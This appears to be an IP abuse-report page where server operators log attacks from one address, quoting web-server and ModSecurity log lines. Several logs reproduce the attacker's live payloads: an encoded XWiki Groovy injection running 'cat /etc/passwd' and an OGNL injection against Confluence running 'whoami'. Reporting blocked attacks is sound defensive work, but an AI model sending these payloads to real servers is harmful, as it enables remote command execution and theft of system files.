🇫🇮
JLKnoch Software GmbH
2026-11-13 00:52:11
UTC ·
(5 hours ago)
CrowdSec crowdsecurity/CVE-2022-26134
Brute-Force
Web App Attack
🇫🇮
oh.mg
2026-11-12 22:56:41
UTC ·
(7 hours ago)
[Thu Nov 12 23:56:40.727443 2026] [security2:error] [pid 803986:tid 803988] [client 185.50.78.4:38212] [client 185.50.78.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/usr/sh ...
show more
[Thu Nov 12 23:56:40.727443 2026] [security2:error] [pid 803986:tid 803988] [client 185.50.78.4:38212] [client 185.50.78.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [ver "OWASP_CRS/4.10.0-dev"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"] [hostname "95.216.72.247"] [uri "/bin/get/Main/SolrSearch"] [unique_id "avZEKEnYCohwFVFlPnylUAAAAMA"]
[Thu Nov 12 23:56:41.434221 2026] [security2:error] [pid 799087:tid 799111] [client 185.50.78.4:38224] [client 185.50.78.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [ver "OWASP_CRS/4.10.0-dev
...
show less
Web App Attack
Bad Web Bot
2026-11-12 22:52:25
UTC ·
(7 hours ago)
Reported from Nginx log analysis 16. Log: 185.50.78.4 - - [12/Nov/2026:xx:xx:xx 0100] "HEAD / HTTP/1.1" xxx xxx "-" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" "-" "FR France -" "AS8368" " ...
show more
Reported from Nginx log analysis 16. Log: 185.50.78.4 - - [12/Nov/2026:xx:xx:xx 0100] "HEAD / HTTP/1.1" xxx xxx "-" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" "-" "FR France -" "AS8368" "Dstny BE N.V."
show less
Port Scan
Brute-Force
SSH
2026-11-12 20:58:08
UTC ·
(9 hours ago)
[server.techsupportltd.gr] httpd-sqli-probe: logs=/var/log/httpd/access_log; samples=/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d ...
show more
[server.techsupportltd.gr] httpd-sqli-probe: logs=/var/log/httpd/access_log; samples=/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20 | /xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20 | /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%2...
show less
Web App Attack
🇳🇱
WeCloudit-Anti-Abuse
2026-11-12 19:26:44
UTC ·
(11 hours ago)
This IP was detected by CrowdSec triggering crowdsecurity/CVE-2022-26134
Hacking
🇩🇪
weiss
2026-11-12 17:20:47
UTC ·
(13 hours ago)
185.50.78.4 triggered crowdsecurity/CVE-2022-26134 on edge-syd | AS: 8368 (Dstny BE N.V., FR)
Hacking
Web App Attack
2026-11-12 16:22:48
UTC ·
(14 hours ago)
2026/11/12 16:22:29 [error] 3197030#3197030: *165839 [client 185.50.78.4] ModSecurity: Access denied with code 403 (phase 2). Matched "Operator `Ge' with parameter `5' against variable `TX:BLOCKING_INBOUND_ANOMALY_SCORE' (Value: `10' ) [file "/usr/lo ...
show more
2026/11/12 16:22:29 [error] 3197030#3197030: *165839 [client 185.50.78.4] ModSecurity: Access denied with code 403 (phase 2). Matched "Operator `Ge' with parameter `5' against variable `TX:BLOCKING_INBOUND_ANOMALY_SCORE' (Value: `10' ) [file "/usr/local/owasp-modsecurity-crs-4.11.0/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "222"] [id "949110"] [rev ""] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [data ""] [severity "0"] [ver "OWASP_CRS/4.30.0"] [maturity "0"] [accuracy "0"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"] [hostname "94.72.101.158"] [uri "/bin/get/Main/SolrSearch"] [unique_id "179450054998.676063"] [ref ""], client: 185.50.78.4, server: srv.ingeltechgh.com, request: "GET /bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20 HTTP/1.1", host: "94.72.101.158"
2026/11/12 16:22:31 [error] 3197030#3197030: *165839 [client 185.50
...
show less
Brute-Force
🇳🇱
Eric
2026-11-12 12:16:44
UTC ·
(18 hours ago)
[Thu Nov 12 12:11:01.235977 2026] [security2:error] [pid 4104401:tid 4104401] [client 185.50.78.4:41560] [client 185.50.78.4] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST- ...
show more
[Thu Nov 12 12:11:01.235977 2026] [security2:error] [pid 4104401:tid 4104401] [client 185.50.78.4:41560] [client 185.50.78.4] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "94.209.38.171"] [severity "WARNING"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "94.209.38.171"] [uri "/"] [unique_id "avWs1aszAtee9g9QsNJClQAAAGE"]
[Thu Nov 12 12:11:01.236759 2026] [security2:error] [pid 4104401:tid 4104401] [client 185.50.78.4:41560] [client 185.50.78.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id
...
show less
Hacking
Web App Attack
🇦🇹
Starburst SysOp Team
2026-11-12 11:24:30
UTC ·
(19 hours ago)
Host header is a numeric IP address. Pattern match "(?:^( (920350-vie6-1)
Hacking
Bad Web Bot
🇩🇪
MaxMeier
2026-11-12 10:42:17
UTC ·
(19 hours ago)
185.50.78.4 - - [12/Nov/2026:11:41:16 +0100] "GET /bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20 HTTP/1.1 ...
show more
185.50.78.4 - - [12/Nov/2026:11:41:16 +0100] "GET /bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15"
185.50.78.4 - - [12/Nov/2026:11:41:16 +0100] "GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
...
show less
Web App Attack
🇩🇪
initsol
2026-11-12 08:55:25
UTC ·
(21 hours ago)
[Thu Nov 12 09:44:06.442286 2026] [authz_core:error] [pid 2793130:tid 2793130] [client 185.50.78.4:39935] AH01630: client denied by server configuration: /var/www/
[Thu Nov 12 09:55:24.201631 2026] [authz_core:error] [pid 2801270:tid 2801270] [client ...
show more
[Thu Nov 12 09:44:06.442286 2026] [authz_core:error] [pid 2793130:tid 2793130] [client 185.50.78.4:39935] AH01630: client denied by server configuration: /var/www/
[Thu Nov 12 09:55:24.201631 2026] [authz_core:error] [pid 2801270:tid 2801270] [client 185.50.78.4:39387] AH01630: client denied by server configuration: /var/www/${(#[email protected] @toString(@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
[Thu Nov 12 09:55:25.337586 2026] [authz_core:error] [pid 2793130:tid 2793130] [client 185.50.78.4:39393] AH01630: client denied by server configuration: /var/www/bin
...
show less
Brute-Force
🇩🇪
tinect
2026-11-12 07:26:49
UTC ·
(23 hours ago)
This IP was detected by CrowdSec triggering crowdsecurity/CVE-2022-26134
Hacking
🇫🇷
dynamix
2026-11-12 05:44:57
UTC ·
(1 day ago)
Multiple WAF Violations
Web App Attack
🇩🇪
Holger
2026-11-12 03:21:59
UTC ·
(1 day ago)
Bruteforce WebAttack
Brute-Force
Web App Attack
🇺🇸
Phil Schuyler
2026-11-12 00:00:00
UTC ·
(1 day ago)
Repeated probing against public honeypot services: 5 observed events targeting TCP/443.
Port Scan
